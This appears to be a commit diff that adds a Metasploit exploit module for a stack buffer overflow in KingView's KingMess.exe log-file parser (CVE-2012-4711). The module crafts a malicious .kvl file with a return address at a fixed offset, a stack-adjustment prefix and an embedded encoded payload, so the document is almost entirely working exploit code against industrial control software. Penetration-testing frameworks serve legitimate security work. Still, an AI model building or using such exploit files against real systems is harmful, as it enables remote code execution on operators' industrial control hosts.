|
| 1 | +## |
| 2 | +# This file is part of the Metasploit Framework and may be subject to |
| 3 | +# redistribution and commercial restrictions. Please see the Metasploit |
| 4 | +# Framework web site for more information on licensing and terms of use. |
| 5 | +# http://metasploit.com/framework/ |
| 6 | +## |
| 7 | + |
| 8 | +require 'msf/core' |
| 9 | + |
| 10 | +class Metasploit3 < Msf::Exploit::Remote |
| 11 | + Rank = NormalRanking |
| 12 | + |
| 13 | + include Msf::Exploit::FILEFORMAT |
| 14 | + |
| 15 | + def initialize(info={}) |
| 16 | + super(update_info(info, |
| 17 | + 'Name' => "KingView Log File Parsing Buffer Overflow", |
| 18 | + 'Description' => %q{ |
| 19 | + This module exploits a vulnerability found in KingView <= 6.55. It exists in |
| 20 | + the KingMess.exe application when handling log files, due to the insecure usage of |
| 21 | + sprintf. This module uses a malformed .kvl file which must be opened by the victim |
| 22 | + via the KingMess.exe application, through the 'Browse Log Files' option. The module |
| 23 | + has been tested successfully on KingView 6.52 and KingView 6.53 Free Trial over |
| 24 | + Windows XP SP3. |
| 25 | + }, |
| 26 | + 'License' => MSF_LICENSE, |
| 27 | + 'Author' => |
| 28 | + [ |
| 29 | + 'Lucas Apa', # Vulnerability discovery |
| 30 | + 'Carlos Mario Penagos Hollman', # Vulnerability discovery |
| 31 | + 'juan vazquez' # Metasploit module |
| 32 | + ], |
| 33 | + 'References' => |
| 34 | + [ |
| 35 | + ['CVE', '2012-4711'], |
| 36 | + ['OSVDB', '89690'], |
| 37 | + ['BID', '57909'], |
| 38 | + ['URL', 'http://ics-cert.us-cert.gov/pdf/ICSA-13-043-02.pdf'] |
| 39 | + ], |
| 40 | + 'Payload' => |
| 41 | + { |
| 42 | + 'Space' => 1408, |
| 43 | + 'DisableNops' => true, |
| 44 | + 'BadChars' => "\x00\x0a\x0d", |
| 45 | + 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 |
| 46 | + }, |
| 47 | + 'DefaultOptions' => |
| 48 | + { |
| 49 | + 'EXITFUNC' => 'process' |
| 50 | + }, |
| 51 | + 'Platform' => 'win', |
| 52 | + 'Targets' => |
| 53 | + [ |
| 54 | + [ 'KingView 6.52 English / KingView 6.53 Free Trial / Kingmess.exe 65.20.2003.10300 / Windows XP SP3', |
| 55 | + { |
| 56 | + 'Offset' => 295, |
| 57 | + 'Ret' => 0x77c35459 # push esp # ret # msvcrt.dll |
| 58 | + } |
| 59 | + ] |
| 60 | + ], |
| 61 | + 'Privileged' => false, |
| 62 | + 'DisclosureDate' => "Nov 20 2012", |
| 63 | + 'DefaultTarget' => 0)) |
| 64 | + |
| 65 | + register_options( |
| 66 | + [ |
| 67 | + OptString.new('FILENAME', [true, 'The filename', 'msf.kvl']) |
| 68 | + ], self.class) |
| 69 | + end |
| 70 | + |
| 71 | + def exploit |
| 72 | + version = "6.00" |
| 73 | + version << "\x00" * (0x90 - version.length) |
| 74 | + entry = "\xdd\x07\x03\x00\x03\x00\x0d\x00\x0c\x00\x31\x00\x38\x00\xd4\x01" |
| 75 | + entry << rand_text_alpha(target['Offset']) |
| 76 | + entry << [target.ret].pack("V") |
| 77 | + entry << rand_text_alpha(16) |
| 78 | + entry << payload.encoded |
| 79 | + |
| 80 | + kvl_file = version |
| 81 | + kvl_file << entry |
| 82 | + |
| 83 | + file_create(kvl_file) |
| 84 | + end |
| 85 | +end |
| 86 | + |
0 commit comments